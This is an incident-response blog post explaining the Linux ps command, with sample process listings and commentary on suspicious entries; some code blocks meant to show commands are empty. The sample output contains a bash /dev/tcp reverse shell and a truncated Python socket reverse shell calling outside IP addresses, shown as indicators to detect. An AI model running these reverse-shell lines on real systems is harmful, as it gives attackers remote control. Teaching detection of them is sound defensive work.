Linux Incident Response Tips - the ps command

Taz Wake | Halkyn Consulting Ltd | Originally published 2026-05-07

About 3 years ago, I wrote an article on using during Linux live response, so figured it was a good time to update it. The reason for this is that even today (2026), I still talk to incident responders who think of it in the same way as the MS Windows version. However, the Linux version of ps is so much better!

Basically, ps is a tool that reads process information from the virtual filesystem, enumerating the details for each process (such as) as required by any command line switches you've used. The bit that gets overlooked so often is just how detailed this can be.

Tl;dr: Use ps as a foundational check whenever you are doing live response or triage on a Linux system (and it is built into most good tools like UAC's profiles).

How to use ps

The most basic use is to check running processes. You might be tempted to just use ps without arguments, but this is often a mistake and definitely limits your visibility.

During IR, run as root and go with one of the following options:

```
```

This uses the BSD style syntax (and can have a leading - or not, its up to you)

The output should look something like this:

```
root@siftworkstation:~: # ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0  24652 15640 ?        Ss   08:32   0:07 /sbin/init autoinstall
root         525  0.0  0.1  67396 21208 ?        S<s  08:32   0:01 /usr/lib/systemd/systemd-journald
root         565  0.0  0.1 354652 27584 ?        SLsl 08:32   0:05 /sbin/multipathd -d -s
root         571  0.0  0.0 152476  1708 ?        Ssl  08:32   0:00 vmware-vmblock-fuse /run/vmblock-fuse -o rw,
root         603  0.0  0.0  31664  9964 ?        Ss   08:32   0:00 /usr/lib/systemd/systemd-udevd
systemd+    1489  0.0  0.0  17564  7836 ?        Ss   08:32   0:12 /usr/lib/systemd/systemd-oomd
systemd+    1503  0.0  0.0  21588 13568 ?        Ss   08:32   0:00 /usr/lib/systemd/systemd-resolved
```

Alternatively, you can use the SystemV/POSIX-style syntax as follows (note the leading "-")

```
```

This is very similar and produces output like:

```
root@siftworkstation:~: # ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 08:32 ?        00:00:07 /sbin/init autoinstall
root         525       1  0 08:32 ?        00:00:01 /usr/lib/systemd/systemd-journald
root         565       1  0 08:32 ?        00:00:05 /sbin/multipathd -d -s
root         571       1  0 08:32 ?        00:00:00 vmware-vmblock-fuse /run/vmblock-fuse -o rw,
root         603       1  0 08:32 ?        00:00:00 /usr/lib/systemd/systemd-udevd
systemd+    1489       1  0 08:32 ?        00:00:12 /usr/lib/systemd/systemd-oomd
systemd+    1503       1  0 08:32 ?        00:00:00 /usr/lib/systemd/systemd-resolved
systemd+    1531       1  0 08:32 ?        00:00:00 /usr/lib/systemd/systemd-timesyncd
```

Both options give you most of what you need to see. The key entries are:

- User / UID: This is the account the process is running as.
- PID: Process ID.
- Start / STIME: The time the process started.
- TIME: The CPU time consumed by the process (not runtime or uptime).
- Command/CMD: The command line arguments used to invoke the process

The real goldmine for IR is that last field. Being able to see the exact command line for a process is really useful. Remember, sometimes this string will be truncated, especially for long/complex commands, but you can avoid this by running:

```
```

The ww argument reduces the truncation. In current Linux distros, you won't need to do this *as often*, but for some people, it is still a "second nature" set of switches. As an example, I always ps auxww, but that is entirely down to habit rather than actually needing to do it.

Practical example

This is a screenshot showing the type of things you should look for

```
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.1 167920 11840 ?        Ss   Apr03   0:08 /sbin/init splash
root         621  0.0  0.0  32188  6240 ?        Ss   Apr03   0:02 /usr/lib/systemd/systemd-journald
root         646  0.0  0.0  26164  5120 ?        Ss   Apr03   0:01 /usr/lib/systemd/systemd-udevd
systemd+     819  0.0  0.0  21420  6812 ?        Ss   Apr03   0:00 /usr/lib/systemd/systemd-resolved
root         901  0.0  0.0   6924  3020 ?        Ss   Apr03   0:00 /usr/sbin/cron -f -P
message+     914  0.0  0.0  10244  4528 ?        Ss   Apr03   0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile
root        1042  0.0  0.1  18084 10452 ?        Ss   Apr03   0:01 /usr/sbin/sshd -D
root        1128  0.0  0.0  31576  7896 ?        Ss   Apr03   0:00 /usr/libexec/polkitd --no-debug
root        1241  0.0  0.1 241600 16220 ?        Ssl  Apr03   0:03 /usr/sbin/NetworkManager --no-daemon
syslog      1288  0.0  0.0 224536  5844 ?        Ssl  Apr03   0:01 /usr/sbin/rsyslogd -n -iNONE
root        1519  0.0  0.0   6824  4368 ?        Ss   Apr03   0:02 /usr/sbin/apache2 -k start
www-data    1521  0.0  0.0 1999388  5448 ?       Sl   Apr03   0:00 /usr/sbin/apache2 -k start
mysql       1684  0.2  1.8 2148860 364128 ?      Ssl  Apr03   4:31 /usr/sbin/mariadbd
root        2258  0.1  0.1 2011360 29712 ?       Ssl  Apr03   2:55 /usr/bin/containerd
srogers     3323  0.0  0.0  21704 13192 ?        Ss   Apr03   0:01 /usr/lib/systemd/systemd --user
srogers     4176  0.0  0.0  14820  3920 pts/1    Ss   Apr04   0:00 -bash
www-data    4891  0.0  0.0   2892   944 ?        S    Apr04   0:00 /bin/sh -c bash -i >& /dev/tcp/203.0.113.77/443 0>&1
www-data    4892  0.0  0.0   8424  3560 ?        S    Apr04   0:00 bash -i
srogers     5127  0.0  0.0  12428  2864 ?        S    Apr05   0:00 /dev/shm/.cache/kworker -c /dev/shm/.cache/cfg
root        5188  0.0  0.0  11232  3016 ?        S    Apr05   0:00 /tmp/.X11-unix/.dbus/systemd-helper
root        6024  0.0  0.0  98720  4216 ?        Sl   Apr06   0:00 python3 -c import socket,os,pty;s=socket.socket();s.connect(("198.51.100.42",8443));[os.dup2(s.f
root        2519  0.0  0.1  90500 20780 ?        Ss   08:32   0:00 /usr/sbin/smbd --foreground --no-process-group
root        2534  0.0  0.0  87816  6136 ?        S    08:32   0:00 smbd: notifyd .
root        2535  0.0  0.0  87816  5700 ?        S    08:32   0:00 smbd: cleanupd
root        2538  0.0  0.0 312224  9048 ?        Ssl  08:32   0:00 /usr/sbin/gdm3
root        2586  0.0  0.0  83292  6672 ?        S    08:32   0:00 winbindd: idmap child
```

If this view came from an investigation I was carrying out, I'd focus on:

- PID 4891. Why is the webserver account running a bash reverse shell?
- PID 4892. This is probably linked to the previous entry. The second could be an indicator that something exited.

- PID 5127. Lots of suspicious things here. Hidden folder, and in /dev/shm. Appears to have a config file in /dev/shm as well.
- PID 5188. This looks like a spoof of an X11 (window manager) entry. It's a hidden folder in so there is little reason to think it is even slightly legit.
- PID 6024. Python reverse shell. Not a good sign.

While it isn't *always* that easy to spot malicious activity, the detail provided by ps gives you an exceptionally effective way to decide where to focus.

From here, you can pivot through to additional investigations, using other built-in tools like lsof and pstree. This allows you to quickly build an understanding of what has happened, parent-child relationships and other key details for your investigation.

Want to know more about investigating Linux systems and carrying out Linux incident response? Have a look at: **https://sans.org/for577**.

About Halkyn Consulting

Halkyn Consulting Ltd is a UK-based security and risk management consultancy providing 24/7 incident response, digital forensics, threat hunting, virtual security leadership (vCISO) and security compliance support to organisations worldwide. We deliver clear, practical, vendor-independent advice based on real-world threats — no hype, no upsell.

More free security resources are available at www.halkynconsulting.co.uk/security-resources.

Web: www.halkynconsulting.co.uk | **Email:** info@halkynconsulting.co.uk | **Tel:** +44 1244 940858